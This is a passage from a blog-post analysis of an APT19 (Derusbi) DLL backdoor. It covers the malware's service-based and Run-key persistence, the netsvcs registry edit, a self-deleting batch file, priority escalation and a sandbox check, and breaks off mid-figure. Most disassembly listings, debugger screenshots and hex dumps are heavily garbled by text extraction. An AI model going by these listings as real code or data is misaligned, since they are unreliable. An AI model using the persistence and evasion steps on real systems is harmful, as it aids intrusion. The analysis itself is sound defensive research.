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Summary

In this blog post we’re presenting a full analysis of a DLL backdoor also reported publicly as Derusbi. This particular

piece of malware is associated with the actor known as APT19 (Codoso, C0d0so, Sunshop Group).

APT19, also known as C0dOso or Deep Panda, is allegedly a Chinese-based threat group that targeted a lot of
industries in the past. FireEye reported that APT19 was active in 2017 when they used 3 different methods to
compromise targets: CVE-2017-0199 vulnerability, macro-enabled Microsoft Excel (XLLSM) documents and an
application whitelisting bypass to the XL.SM documents.

The malware registers itself as a service if it has run with administrator privileges, otherwise, it establishes
persistence via the “Run” registry key. The main purpose of the malicious DLL is to gather information about the
victim’s environment such as username, hostname, IP address of the host, the CPU architecture, the default language
for the local system, the amount of physical memory, the amount of physical memory currently available, the
processor name, the width and the height of the screen of the primary display monitor. The exfiltrated data is
encrypted using a XOR operation (the 1-byte key seems to be randomly-chosen), and then encoded using the Base64
algorithm. There is a lot of network communication performed by the malware, however, due to the fact that the C2
server seems to be sinkholed now, we were not able to retrieve the file that was intended to be downloaded by the

process.
Technical analysis
SHA256: DE33DFCE8143F9F929ABDA910632F7536FFA809603EC027A4193D5E57880B292

The file analyzed in this blog post is a DLL that has the following export functions:

Mame Address Crdinal

{f] DebugConnect 6CD7399B 1

|f] DebugCreate 6CD73998 2

<|I| ServiceMain GCDV3311 3

% DIEntryPoint 6CD76892 - [main entry]

Figure 1

DebugCreate and DebugConnect entries have the same address and represent the starting point of the malicious
activity. The process computes a random string of 3 characters using GetTickCount API calls and the algorithm

shown in figure 2:
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text:6C074842 call ds:GetTickCount
Jtext:6CD74848 mov dword_BCDIFDAC, eax
JSdext:eCD74840 mov byte 6CDIFCSF, 1

LJgext:oCD74854

Ltext:6CD74854 loc_GCDV4854:
.text:6C074854 push esi
Ltext:6CD74855 xor esi, esi

il e =]

Jext:eCD74857

text:6CD74857 loc_sCD74857:
Ltext:pCD74857 call sub_sCO74883
.text:6CD7485C push 14h
text:6CD74B5E cdq

Ltext:6CD7485F pop BCX

.text:6CD74068 idiv ecx

Ltext:6C074862 add dl, 61h ; ‘&’

Ltext:6CD74865 mov [esit+edi], dl

.text:6CD74868 inc esi

.text:6C074069 cmp esi, 3

text:eCD7486C jl short loc_sCD74857
Y

.text:6CD7486E mov byte ptr [edi+3], @

text:6CD74672 pop esi

dext:e(D74B73 retn
Ltext:6CD74673 sub_BCD74R39 endp
text:6CD746873

Figure 2

It tries to delete a file/directory called <3 random chars generated earlier>.dll from System32 directory as shown

below:
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_ L i
ol e [=

dext:eCD73EDL mov ecx, eax

Ltext:6C073ED3 shr ecx, 2

Ltext:6CD73EDE mov esi, edx

Jtext:6CD73EDE rep movsd

text:eCD73EDA mov ecx, eax

.text:6CD73EDC lea eax, [ebp+ptore]
.text:6CD73EDF push ean ; pMore
.text:6CD73EEQ lea eax, [ebp+pszPath]
text:6CD73EER and ecx, 3

text:6CDV3EEY push eax 3 pszPath
.text:6CD73EEA rep movsb

.text:6CD73EEC call ds:Pathappends
text:6CD73EF2 push ebx ; dwErrCode
text:6CD73EF3 call ds:SetlastError
.text:6CD73EFY mov edi, ds:DeleteFiled
-text:6CD73EFF lea eax, [ebp+pszPath]
.text:6CD73FB5 push eax ; lpFileName
text:6C073Fe6 call edi ; DeleteFileaA
-text:6CD73FO8 lea eax, [ebp+pszPath]
.text:6CD73FBE push eax 3 lpPathName
text:6CD73F8F call ds :RemoveDirectoryd
Ltext:6CD73F15 mov esi, ds:GetFileAttributesA
text:6CD73F1E lea eax, [ebp+pszPath]
Ltext:6CD73F21 push eax 3 lpFileName
Lhext:6CD73F22 call esi ; GetFileAttributesA
text:6C073F24 cmp eax, BFFFFFFFFh
-text:6CD73F27 jnz short loc_6CD73F7A

Figure 3

Because the file doesn’t exist at this time, it’s created using CreateFileA API and then deleted using DeleteFileA API.

This technique is used to confirm that it has enough rights to write files in the System32 directory:

Figure 4

= T AS/ 1Y UULULULLULULUIUIULID 31U S
€& 80 00 00 00 Push 80 x87rl 00000000000000000000 ST1 Emp
6a 02 isho x87r2 00000000000000000000 ST2 Emp
53 push ebx x87r3 00000000000000000000 ST3 Emp
& ush ebx x87r4 00000000000000000000 ST4 Emp
68 00 00 00 CO gush €0000000 x87r5 00000000000000000000 ST5 Emp
8D 85 FO FE FF FF lea eax,dword ptr ss:[febp-110§ X87r6 3FFFS8000000000000000 STE& Emp
50 push eax eax; "C x87r7 3FFF8DB70C975DF22363 ST7 Emp
FF 15 CO 41 DB &C €all dword ptr ds:[<&CreateFrilea-]
8B DS mov egx,ea}( eax:"C x87Tagword FFEF
83 FB FF cmp ebx,FFFEFEFF

.53 P coron A0 S (won ey s m
FF 15 AC 40 D8 &C €&l dword ptr ds:[<&GetLastError>) sliolap oy = =
85 €O test eax,eax eax:"C xAZw 1.3 (EmpLy)c SxBZTWCS N2 (END
v 75 24 jne apt.6&CD7IETA X87TW_6 3 (Empty) X87TW_7 3 (Emp
53 ush ebx
FF 15 AB 40 D8 6&C g:ﬂ'l dword ptr ds:[<&CloseHandle>] x87Statusword 0020
8D 85 FO FE FF FF lea eax,dword ptr ss:[febp-110§ X875W_B O x875wW_C3 0 x875wW_C2
50 push eax eax:"C: X875W_C1 0 x875W_CD 0O x8TSW_ES
FF D6 €all esi esi:Get XB75W_SF 0 XB7SW_P 1 x875W_U
A8 20 test al,20
v 74 10 je apt.6CD73F7A v
i B = o Default (stdcall) 51
I 5 o ]
dword ptr [6CD841C0 <apt.&CreateFileA>]=<kernel3z.Createrilea> ; S:gl,{]”égggﬁgmc'“"“'“"'5““'
3: [esp+8] 00000000
4: [esp+C]_ 00000000
.text:6CDT3F3F apt.dll:$3F3F #333F 5: [esp+ld] 000D00DDZ
% bump 1 Wipump2  @WDump3  WYDump4 B4 Dump 5 @ watch1 1=l Locals & stuct B[N owEN s v ema 2XRG e

Address | Hex ASCIT

OOSEFOCS @3] 3A 5C 57|49 4E 44 4F|57 53 5C 73|79 73 74 65|0: \WINDOWS\Syste B e

O0SEF9DS8( €D 33 32 5C|71 6C 72 2E(64 6C 6C 00|00 00 00 00|m324qlr.dl1l..... DOSEF3E4 DDODOOSD

O0SEF9ES(00 00 00 00|00 00 00 00(00 00 00 00|00 00 00 00| .vesesreanrasns 00000000

The malicious process retrieves process privilege details by calling GetTokenInformation with parameter type 0x14

(TokenElevation):

Page 3 of 28



https://cybergeeks.tech/analyzing-apt 19-malware-using-a-step-by-step-method/

. FF 15 AD 40 D8 &6C €&l dword ptr ds: [<&GetCurrentProcess>] X87r4 00000000000000
. 50 push eax X87r5 00000000000000
. FF 15 33 40 D8 6C €d@ll dword ptr ds:[<&0penProcessToken=] X87r& 3FFFB00000000M0
. 85 CO test eax,eax X87r7 3FFFEDB70CY7SDI
777777 . v 74 25 je apt.6{D738EC
. ?2 04 Eﬁﬁheix x87Tagword FFFF
. 8D 4D F4 lea ecx,dword ptr ss:|[febp-c[) i:;lx_g : E:mpiy%
. 51 push ecx o BLYy.
& 50 push eax KB7TW_4 3 (Empty)
. 89 45 Fa mov dword ptr ss:[febp-clf, eax XETTW_E 3 (EMpTy)
. 8D 45 FO lea eax,dword ptr ss:llebp-100
. 50 push eax xB875tatusword 0020
. 64 14 push 14 XB7SW_B 0O XB7SW_C3
. FF 75 Fa push dword ptr ss:[[ebp-s] XB7SW_C1 O XB75W_CO
EIP, > FF 15 00 40 D8 &C €all dword ptr ds:[<&GetTokenInformation:-] XBTSW_SF 0 XB7SW_P
o[ 6CD738EL 85 CO test eax,eax e
1--—-® | 6CD73BE3 ~ 74 07 je& apt.6CD73BEC W —
I of o = K = = Default (stdcall)
\
= = = 1: [esp] 000002394
dword ptr [6CD84000 <apt.&GetTokenInformation-J=<advapi3z.GetTokenInformation> 2: [esp+4] 00000014
3: [esp+8] DOSEFC84
4: [esp+C] 00000004
.text:6CD738DB apt.dl1:$38DE #2CDB 5: esgflg,] O0SEFCS8
5 00000294
Wpump1  @oump2  @HDump3  @Moump4  @HDumps @9 watch1  ellocals 4 Struct DOSEFADZ | 00000014
P | ASCTT DOSEFADS | DOSEFCE4
OOSEFBEC |[DA| D0 00 nnlnn 00 00 DDlAE 3F 00 nnloz 00 00 DDI‘ ........ O 1 Il“‘OQSEch ononobns
nanceeeer lan nn an nnlan Aan An anlan Aa An anler a9 ce oan =il A B e N S S T
Figure 5

Malware running with admin privileges

Now it queries the “HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs”

registry value using RegQueryValueExA function:

! e|| 6cD73512 5E push esi

g . 8D 85 E8 D& FF FF lea eax,dword ptr ss:|[febp-z215j]

! ® | 6CD73519 53 push ebx

! ®| 6CD7351A 50 push eax

1 ®| 6CD7351B ES8 EO 1B 00 00 call apt.eCD75100

| e || 6cD73520 83 C4 0OC add esp,C

| ® | BCD73523 8D 45 F4 lea eax,dword ptr ss:[febp-Cf}

! ®| 6CD73526 50 push eax

: ®|( BCD73527 8D 85 E8 D& FF FF lea eax,dword ptr ss:[febp-zo1sj

! ®|( 6CD7352D s’ push eax

1 ®| 6CD7352E 8D 45 EC lea eax,dword ptr ss:|[ebp-14]

| #| scD73531 50 push eax

] ®|6CD73532 53 push ebx

! ®| GCD73533 BF 83 CE D8 &L mov edi,apt.6&CDSCESS

! ®|( BCD73538 57 push edi

! ®|( 8CD73539 FF 75 F8 push dword ptr ss:[lebp-si

I ® || 6CD7353C 89 75 F4 mov dword ptr ss:[febp-Cll,esi
Eg—t—e FF 15 1C 40 D8 6C €all dword ptr ds:[<&RegQueryvalueExa>]

f ® || GCOV3545 85 CO Test eax,eax

T < it

T

dword ptr [6CDB401C <apt.&RegQueryvValueExA>]=<advapi3z.RegQueryvalueExA>

.text:6CD7353F apt.d11:%353F #293F

2% Dump 1 B4 Dump 2 24y Dump 3 244 Dump 4 B4 Dump 5 & watch 1

[x=] Locailz P

00000294
6CDBCES3

O0O5ED354

"netsvcs

Address | Hex ASCII

OOSED358

% 00000000

O05ED37 4
O0SED3ZE4

ANEENZ a4

00] 00 0D 00
00 00 00 00

AN NN e e

00 00 00 00
00 00 00 00

AN AN AN nn

00 00 00 00
00 00 00 00

AN N AN nn

00 00 00 00
00 00 00 00

AN NN AN

Figure 6

The list of services retrieved earlier is shown in the next figure:

Address | Hex

QOSED3EC
QO5ED260
DOSED364

QOSEFCYE
O05ED374
DOSEFCB0D

ASCII

79
72
o0

DOSED37 4
DOSED3E4
DOSED394
DOSED3A4
OOSED3E4
DOSED3C4
DOSED3D 4
DOSED3E4
OOSED3IF4
DOSED 404
OOSED414
DOSED424
DOSED434
DOSED 444
OOSED45 4
DOSED 464
DOSED47 4
OOSED4E84
DOSED494
DOSED4A4
DOSED4BE4
OOSED4C4

50
53
00
&D
o0
45
63
74
00

72
7e
&7
73
7
GE
&8
79
4E

&F
63
70
&9
&9
7e
&9
00
74

70
o0
73
73
GE
o0
GE
49
&D
7T

6E 74 00 52
GE 0D 52 B5

53
&C

76 63 00
&1 GE 6D
76 &3 00 &9
63 73 69 00

S0 67 oD 74
4c €1 72 74

53
61
FA,
73
o0
ES
70
i
00
4E
74
6l
65
&3

43
GE
&8
63
53
73
61

50
73

&F
&5
70
&5
73
72
&9
GE
43
61
52
&5
63
54
50
54
&9
43
70
&F
o0
00

&C
72
73

69 63
76 65
76 63
64 75 6C 65
73 69 6F GE
al 17 60 74
62 69 6L 69
00 4E 6C 61
57 GF 72 GB
70 61 67 65
61 73 6D 61
73 73 00 53
63 65 73 73
61 70 69 73
60 53 70 DO
53 00 53 68
6F GE 00 4C
41 75 64 69
6C GF 61 64
6B 65 72 DO
41 70 7O 4D

&8
&5
&5
74
&F
57
73
00
63
6l
o0

67 43 GF &D
61 73 00 49
73 73 76 63
63 6F GE 00
Sl 72 6l 70
60 &6F 74 65
53 63 61 72
65 72 76 69
&0 62 00 57
73 65 72 76

4E
7
&F
63
G4
&5
a4
42
63
o0
o0
42
&5
0o

45 4C o2 00
00 53 52 53
72 76 00 57
77 7 7
65 48
&6F 6E
T4 65
&0 00
55 72
&7 00

o0
&5
73
&3
GE
&7
00

49
74
50
75
72
72
52

&C
&7
o0
&7
73
6D

&C
&F
&8
72
&5
74

al 44 65 74
48 6F 75 72
SHES

54 &6F 6B &5
4D &1 6E 61
00 00 6F 0O

Figure 7
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There is another service called WinHelpSrv that is added to this list. The “netsvcs” value is modified to reflect the
change by calling RegSetValueExA API:

i e || sco735D5 ] push eax ea
:: # (| 6CD735D6 6A 07 push 7
[rid e || BCD735DE 53 push ebx
i ! #|| 6CD735D9 57 push edi ed
e e | CD735DA FF 75 F8 push dword ptr ss:[ebp-5j
ElF———e FF D6 call esi s
! S N— — — e
bl °| <
esi=<advapi32.RegSetValueExA> (77610FG0)
.Text:6CD7350D apt.dll:$35DD #2900
00000234
@oump1 | @Hoump2  @Hoump3 | BWoump4  @Houmps @ watch1 | [x=llocds P G0sEDaE 4| eCDBCESS | “nersves®
Address | Hex ASCII 2 %ﬁggggg Wmmuw
DDSED3A4 |73 76 63 O0|6D 73 69 73|63 73 63 00|73 63 68 65|svC.msiscsi.sche ODSED3E0| D0SED3T4 | "CertPropsve”
OOSED3B4|64 75 6C 65|00 77 69 6E|ED &7 &b 74|00 53 65 73| dule.winmgmt.sSes 00SED364 | 0OOODLE4
OOSED3C4|73 69 6F GE|45 6E 76 00|46 €1 73 74(55 73 65 72| sionEnv.FastUser DDSEDZES | 00DDZT L0
s L 67 43 6F 6D (70 61 T4 &9 =

SwitchingCompati
bility.Ias.Irmon
.Nla. Ntmsswve. NWC
workstation.Nwsa
pagent.Rasauto.R
asman.Remoteacce

O0SED3D4 | L3 £9 74163 68 69 &E
DODSED3E4 | 62
OODSED3F4| 00
O0SED404 |57 7

O05ED414 |70 61 67 &5
005ED424| 61 73 6D 61

00000000
Q0BCEDBO
74726543
JOEF7250
DDE376E53
G6F504353

62 6C 69|74 79 00 49|61 73 00 49|72 6D &F GE
4E 6C 61|00 4E 74 6D |73 73 76 63|00 4E 57 43
L &2 6F GE O0D|4E 77 73 61
&1 73 61 75

L™\ C:\\Users*
windows. storag

73 74 61 74
6E 74 00 52

GE 00 52 &5 (6D &F 74 &5 él 63 &3 &5

DDSED434 |73 73 00 53|45 4F ©3 00(53 68 61 72|65 64 61 63|s5s.SENS.Sharedac S

OOSED444 |63 65 73 73|00 53 52 53|65 72 76 69|63 65 00 54|cess.SRService.T Hggggggg ;ggg?ggg
DDSED454 |61 70 69 73|72 76 00 57|6D &% 00 57 |6D &4 6D 50| apisrv.wmi.wmdmP et el b e e
DOSED464 | 6D 53 70 00|77 75 §1 75|73 65 72 76|00 42 49 54|mSp.wuauserv.BIT e ey
DDSED474|53 00 53 68|65 6C &C 48|57 44 €¢ 74|65 63 74 69|5.ShellHwDetecti s | S
DOSED484 | 6F 6E 00 4C|6F 67 6F GE|48 GF 75 72|73 00 50 43|on.LogonHours.PC e EhOh s nAs
DDSED494 | 41 75 64 62|74 00 &8 &5 ZD 73 76|63 00 75 70|Audit.helpsvc.up | A e
DDSED4A4 | 6C 6F 61 64|6D 67 72 00|54 &F 6B 65 |6E 42 72 6F | loadmgr.TokenBro il [t
DDSED4B4| 6B 65 72 00|55 73 &5 72|4D 61 6E 61|67 &5 72 00|ker.UserManager. e e
DDSED4C4 |41 70 70 4D|67 6D 74 00|57 69 G6E 48|65 6C 70 53| AppMgmt.winHelps il e
DDSED4D4|72 76 00 00|6D 00 &1 0O|6E 00 00 00|52 00 65 00|rv..m.a.n...R.e. S en e e

Figure 8

The file creates a new service named WinHelpSrv (Windows Helper Service) as follows:

[l s =

text:6CD735F6 push BFe83Fh ; dwDesiredAccess
text:6CD735FB push ebx 3 lpDatabaseName
Ltext:6C0735FC push ebx 3 lpMachineName
text:6CD735FD call ds:OpenSCManagerid

.text:6CD73683 cmp eax, ebx

text:6CD73685 jz loc_BCD736FA

Ll e =

Ltext:6CD7368E push ebx ; lpPassword
text:6CD7368C push offset ServiceStartName ; "Z"
.text:6C073611 push ebx 3 lpDependencies
Ltext:60D73612 push ebx ; lpdwTagId
text:6CD73613 push ebx ; lpLoadOrderGroup
Ltext:6CD73614 push offset BinaryPathName ; lpBinaryPathName
text:6CD73619 push 1 3 dwErrorControl
text:6CD73618 push 2 3 dwstartType
Ltext:6CD73610 push 1eh ; dwServiceType
.text:6CD7361F push BFe1FFh ; dwlesiredAccess
.text:60D73624 push offset DisplayName ; "Windows Helper Service"
Ltext:60D73629 push offset ServiceMame ; "WinHelpSrv"
text:6CD7362E push eax 3 hsCManager
.text:60D7362F call ds:CreateServiced

dext:e(D73635 test eax, eax

text:60D73637 jz loc_eCD736FD

Figure 9

The description of the service is set to “This is windows helper service. Include windows update and windows error”:
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&3 £s es bs e Puch Sox. ecoaesea acomese | XE7TW. 3 (Embry)  xerTWs 3 (Embty)
€4 01 frelly e & X87TW_6 3 (Empty) x87Tw_7 3 (Empty)

push ebx

3
658 10 CF DB 6C ush apt.&CDSCF10 GCDBCF] x875tatusword 0020
FF 75 F8 push dword ptr ss:[febp-a] N e EaS
FF D6 call esi esiiRer v
e ; — - - 5 Dafau\t(st;mln ~|[5 [2]00 unoc
= - 1t [esp.
esi=<advapi32.RegSetvalueExA> (77610F60) 2: [espt+4] 6CDBCFL0 "Description”
3: [esp+s] 0o00ODOOO
4: [esp+C]_00000001
< TeXL:6CD736A9 apt.d11:$36A9 #2AA9 5: [esp+10] 6CD865E8 "This is windows helper set

WWoump1  YDump2  UDump3  WdDumpa  Wlpumps @ watch1

Address | Hex | Asciz
ODSEFB74|53 59 53 54[45 4D 5C 43|75 72 72 65|6E 74 43 6F | SYSTEM\Current
OOSEFES4 | GE 74 72 6F (6L 53 65 74|5C 53 65 72(76 69 63 65 |ntrolser’servis
AntEEBas| 73 £r t colPE e fE £r|an £3 73 szlna an Aa Anlclwsnbalase

“Descriprion”

0 6 "This is windows helper service. Include windows update and windows error"
0DSED364 | 00000048

Figure 10

The malicious DLL is registered as a service by adding the “ServiceDIl” value that points to its location to the newly

created service registry keys:

® 4] push eax A
. 68 AD FB D9 &C push apt.&CDIFBAD 6CDOFR: || XBTTW_4
. 6A D2 push 2 LLTAL B
® 53 push ebx
. B8 31 CF DB &C push apt.&CDSCF31 GCDBCF: | X87STat
. FF 75 FO push dword ptr ss:[lebp-10] [
EIP 2 FF D& call esi s Y
o T o s = Default (stc
= : 1: [esp]
esi=<advapi3z.RegSetvValueExA> (77610F60) 2: [esp:
3: [esp+
4: [esp+
.text:6CDT3EEY apt.d11:$36E9 #2AE9 5: [esp+
' DOD0DZE4
@pump1  Poump2  WMDump3  WWoump4  BWoumps @ watchi  H-RdOocensss| ecpscral | "servicenll”
Address_| Hex ASCII ~ £§EE§§2 m‘z’
DOSEFB74 |53 59 53 54|45 4D 5C 43|75 72 72 65|6E 74 43 GF | GYSTEM\CUrrent: hetiadibl ..
DOSEFB84|6E 74 72 6F|GC 53 g5 74(5C 53 65 72|76 69 63 65|ntrolset\Servi: | posEnaec ECOSERNT c:\\users) Jll\\Desktop\\apt. d11
nNErFFRaal 72 &F £E7 galaF 4a a5 A l7n 2 72 7alnn nn nn nnl svwindalngry

Figure 11

The confirmation that the operation was successful:

B Registry Editor - m] *
File Edit View Favorites Help

Computer\HKEY_LOCAL_MACHINE\SYSTENM\CurrentControlSet\Services\WinHelpSr/\Parameters
WhioSrvc ~ | Name Type Data
xnfs ab(Default) REG_SZ (value not set)
emsve 28] ServiceDIl REG_EXPAND_SZ Ci\Users\l\Desktophapt.dll
wencsve

Figure 12

The process creates a batch file called <10 random chars>.bat (the same algorithm utilized before to generate the

random letters is used):

Tl ® | 6CD72F43 68 60 68 D8 6C push apt.&CD868E0 GCDEEEE
i ® || 6CD72F4E 50 push eax eax: "yt
[EIP g * ES8 E2 2B 00 00 €all apt.6CD75B36 fopen v
i =2
| >

apt.eCD75B36

-Text:6CD72F4F apt.dl1:$2F4F #234F
ODSEFB40

@Woump1  @loumpz  @lpump3s  @houmps  @loumps @) watch1  x=llocal P PO0EEmes0| ecpaessn

Figure 13

"ytykusgpst.bat™

The content of the .bat file is presented below:

@echo off
net start %1

del %0

The malicious file sets the priority class 0x100 (REALTIME_PRIORITY_CLASS) for the current process (this

means that the current process has the highest possible priority):

Page 6 of 28



https://cybergeeks.tech/analyzing-apt 19-malware-using-a-step-by-step-method/

68 00 01 00 00 push 100
FF 15 AD 40 D8 &C cadll dword ptr ds:[<&GetCurrentProcess>]
50 push eax
FF 15 8C 40 D8 &C call dword ptr ds:[<&SetPriorityClass>]
6A OF push F
FF 15 80 40 D8 &C €all dword ptr ds:[<&GetCurrentThread:>]
={u} push eax
FF 15 5C 40 D8 &C €alll dword ptr ds:[<&SetThreadPriority=>]
SE T push edi e Sl g W
>
dword ptr [6CDS8408C <apt.&SetPriorityClass>]=<kernel32.SetPriorityClass:>
.text:6CD72F8F apt.d11:$2F8F #238F
@oump1  @4oumpz  @4oump3  @oump4  @loumps & watch1  [x=lLocal P ﬁ% 00000100
Figure 14
After this operation, there is a call to SetThreadPriority that sets the priority 15
(THREAD_PRIORITY_TIME_CRITICAL) for the current thread:
e 64 OF push F = & 5
L FF 15 80 40 D8 &C call dword ptr ds:[=&GetCurrentThreads>]
] 50 push eax
] FF 15 S5C 40 D8 &C call dword ptr ds:[<&setThreadrPriority:=]
- 57 push edi
* e R S L5 C el

dword ptr [6CDS405C <apt.&SetThreadPriority>]=<kernel32.SetThreadPriority>

.text:6CD72F9E apt.dl1:$2F9E #239E
@Em FFFFFFFE
@4 Dump 1 % Dump 2 gLy Dump 3 B4 Dump 4 g% Dump 5 8 watch 1 be=] Local: P 005EFB30 | 0000000F

Figure 15

Now there are 2 SHChangeNotify API calls with the following parameters: 0x4 (SHCNE_DELETE), 0x5
(SHCNF_PATH), the 3rd parameter is the path to rundll32.exe (because the dll was run using rundl132) and the name
of the batch file, respectively, and the 4th parameter is 0. These calls have the purpose of notifying the system if
rundll32.exe or the batch file is deleted:

. 53 push ebx KBS IW_4 3 LEMPLY
. 8D 85 B4 FA FF FF lea eax,dword ptr ss:|[febp-54cf] XETTW_6 3 (EmpTy
. 50 push eax eax:"C:
. 6A 05 push 5 x875tatusword 0OC
. 6A 04 push 4 L e e e
EE—e FF 15 F4 41 D8 6C call dword ptr ds:[<&sHChangeNotify=] W
. T L > Default (stdcall)
dword ptr [GCD841F4 <apt.&SHChangeNotify»]=<shell32.SHC a 1Ty ;' ::glﬂ 00000
3: [esp+8] OOSEF
4: [esp+C] 00000
. text:6CD72FD6 apt.d11:$2FD6 #23D6 5: [esp+1D] 000D

0000000+
Woump1t | @oumpz  @Hoump3  @oump4  @Woumps @B watchi  Ir-lLocal P MG5SERes%| 0DDDDDOS

Address | Hex | AscII | A"OOSEFBZC 00SEF740 | "C:\\Windows\ Syswowe4'\\rund113z. exe"
‘nn:::'l.n R Cr 57 RAIAFE Rd RE 77172 GF G2 7al7z G7 aF £7 | Wi ndnwsh Swowow | 00SEF630 | 00000000
Figure 16

The batch file is executed using the WinExec function. Basically, it starts the WinHelpSrv service, and then the batch

file is deleted:

s push eax cax: "yt | x87ste

FF 15 BC 40 D8 &C call dword ptr ds:[6CDS40BC] WinExec ==

BO 01 mov al,l w

e = o Default {t
2 ArEs
dword ptr [apt.6CDS840BC]=aclayers.sCDD5310 2 as
3uiles
4: [es
.Text: 6CD73027 apt.d11:$3027 #2427 5: [es

A P e 1 [T — [T — [T — [T — B hinrn 4 [ERR e 3 ODSEFE40 [ "ytykusgpst.bat Winkelpsrv™

Figure 17

Now we’ll talk a bit about the ServiceMain export function that is called when the new service starts. The process

registers a function to handle service control requests by calling the RegisterServiceCtrlHandlerA function:
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68 85 34 D7 &C push apt.&CD73485 XB7SW_C1 O x87
52 push edx edx: "w XB7SW_SF O X87
88 18 mov byte ptr ds:[eax],bl . = o=
FF 15 20 40 D8 6C €211 dword prr ds:[<aRegisterservicectriHandlerax]

v

Default (stdcall)
: [esp] BCDBGG:
esp+4] 6CD7:
esp+8] 0000C
esp+C] 0000
esp+10] 033¢

@Woump1  @lDump2  WHDump3  WlDump4  Whoumps @ watch1  bellocals | Struct T

dword ptr [6CD84020 <apt.&RegisterservicectriHandlerA>]J=<advapi32.RegisterservicectriHandlera>

.text:6CD73358 apt.d11:$3358 #2758

[T

Figure 18

There is a call to SetServiceStatus function using the following SERVICE_STATUS structure: 0x10
(SERVICE_WIN32_OWN_PROCESS), 0x2 (SERVICE_START_PENDING), 0 (no controls are accepted), 0
(dwWin32ExitCode), 0 (dwServiceSpecificExitCode), 0x1 (dwCheckPoint) and 0xbb8 (3000 ms, the amount of time

that the service expects an operation to take before the next status update):

XB7SW_C1 0 XBFS

68 58 FB D8 6C push apt.&CDSFBSS
FF 35 74 FB D8 6C push dword ptr ds: [6CDBFBT 4] XB7SW_SF 0 X875
FF 15 10 40 D8 &C call dword ptr ds:[<&SetServiceStatus>] Sascsas m=
c3 ret v
- gisscEs 5 Default (stdcall)
1: [es] 0000123
dword ptr [6CD84010 <apt.&SetServiceStatus>]=<advapi32.sSetServiceStatus> 2: 35814] GCDBFE
3: [espt+8] 6&CD73:
4: [esp+C] 000000
.text:6CD7347E apt.d11:$347E #287E 5: [esp+1D] DOOOL
i 000012324
Woumpt  Y4Yoump2  BYDump3  WWoump4  Woumps @9 wathi  bellocals 4 Struct GCDEFESS | apT.BCDSFESE
Address | Hex |AscIT | el e
GCD8FB58 30| 00 00 00|02 00 00 OO(00 OO OO0 OD|OD 00 OO0 OO(Q. ... ..o nnnnn.. 1 | oooooooo
6CD8FB6E| 00 00 00 00|01 00 00 O0|B8 OB 00 00(34 12 00 00| ........ LT ittt | P
Figure 19

The malicious process creates an unnamed event object by calling the CreateEvent function:

. s6 push esi
. 43 push esi
. 64 01 push 1
. S& push esi
Fg— FF 15 70 40 D8 &C call dword ptr ds:[<&CreateEventws] W
= >
dword ptr [6CD84070 <apt.&CreateEventw:]=<kernel32.CreateEvent:>

.Text:6CD73363 apt.d11:$33B3 #27B3

B4 Dump 1 B Dump 2 B4 Dump 3 WY Dump 4 4 Dump 5 B8 watch 1 Ix=] Locals 2 struct

Address 1Hex | AscTI | |
6CD8FRS8 |20l 00 00 ooloz oo o0 ooloo oo o0 ocoloo oo o0 ool | | S

= BT T
-+ ‘b om

Figure 20

Now it follows another SetServiceStatus call by using the following SERVICE_STATUS structure: 0x10
(SERVICE_WIN32_OWN_PROCESS), 0x4 (SERVICE_RUNNING), 0x1 (SERVICE_ACCEPT_STOP), 0
(dwWin32ExitCode), 0 (dwServiceSpecificExitCode), 0 (dwCheckPoint) and 0 (dwWaitHint):

68 58 FB DB 6C push apt.&CDSFESS 7 XB7SW_SF O X8
FF 35 74 FB DB GC push dword ptr ds:[6CD8FB74] N
FF 15 10 40 DB 6C call dword ptr ds:[<&setservicestatus>] w
== el o Default (stdcall)
= = = 1: [esp] 000012
dword ptr [6CD84010 <apt.&SetServiceStatus»]=<advapi3z.SetServicesStatus> 2t esgla} &CD8
3: [esp+8] &CD7
4: [esp+C] FFFE
.TEeXT:6CD7347E apt.d11:$347E #287E 5: [esp+ld] 6D
: 00001234
%% Dump 1 8y Dump 2 B Dump 3 By Dump 4 By Dump 5 @ Watch 1 [x=] Locals ;J’ Struct DOD1F88C | GCDBFBS B | apt. 6CDBFES 8
O0D1FS20 | 6CD73305 [return to apt
Address | Hex | asczz | |~ 5o0imE2t | Feptaase
GCDEFBS8[10[ 00 00 00[04 00 00 0O[OL 00 00 00[00 00 00 0O[L............... | | DOD1FE98| 6CD733A5 | FETUFR TO apt
6CDSFB6S| 00 00 00 00|00 00 00 00(00 00 00 00(34 12 00 00| ..uvvvuuunnn [ AnnaEoar | AnARAAAR
Figure 21

The final operation of this section is to create a new thread using the CreateThread function. The same action will be

performed even if the process hasn’t run with admin privileges, as we’ll see later on:
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56 push esi

56 push esi XB87Statusword O
56 push esi X87SW_B 0O x87
68 B4 31 D7 &C push apt.&CD731B4 KB7SW_C1 0 X87
56 push esi XB7SW_SF 0 x87
5E push esi | amm e o oo

EIF, FF 15 6C 40 D8 6C call dword ptr ds:[<&CreateThread:] W
S Qi e 5 Default (stdcall)
1: [esp]

000000C
[esp+4] 0000C
[esp+8] 6CD7:
[esp+C] 0000C
[esp+10] 000C

dword ptr [6CD8406C <apt.&CreateThread-=]=<kernel3z.CreateThread>

.text: 6CD733E7 apt.d11:$33E7 #27ET

o :
Woumpt  @Dump2  WWDump3  @WDump4  @WDump5 @ watch1  Ix-llocals s Struct DODLFSIC | 00000000
D0OD1F820 | 6CD731E4 | apt.6CD731E4
Address | Hex ASCIT “ | DoD1FZ24 | 0ODDODOOD
&CD8FB58 /10| 00 00 00|04 00 00 00(01 00 00 OO(00 00 00 OOfR. ... ... .. ..., DOD1FS828 | 0000DDDD
6CD8FBES| 00 00 00 0O0(00 00 00 00(00 00 00 00(34 12 00 00| ..vvvuunnnnns 4000
fernarFR7ARl An nn nn nndan an onn anloan an a0 anlan AN NN nn 0DOD1F82C | 00000000

Figure 22
Malware running without admin privileges

The malware uses an anti-analysis technique by comparing the image path of the executable with rundll32.exe. It is

done to ensure that the file is not executed by a sandbox/analyst (it exits if that’s the case):

Ll s =]

Lext:6CD73746

.text:6CD7374B loc_6CD7374B:

Jtext:6C07374B wor ebx, ebx

.text:6CD7374D push @FEh ;  “b” ; size t
Ltext:6C073752 lea eax, [ebptvar 187]
.text:6CD73758 push ebx 5 imk
Ltext:6CD73759 push eax ;5 void *
text:6CD7375A mov [ebp+var_1], bl
.text:6CD73750 mov [ebp+Filename], bl
.text:6CD73763 call _memset

text:6CD73768 add esp, @Ch

Ltext:6C07376B push @FFh ; nsize
Ltext:6C073778 lea eax, [ebp+Filename]
Ltext:6CD73776 push eax ; lpFilename
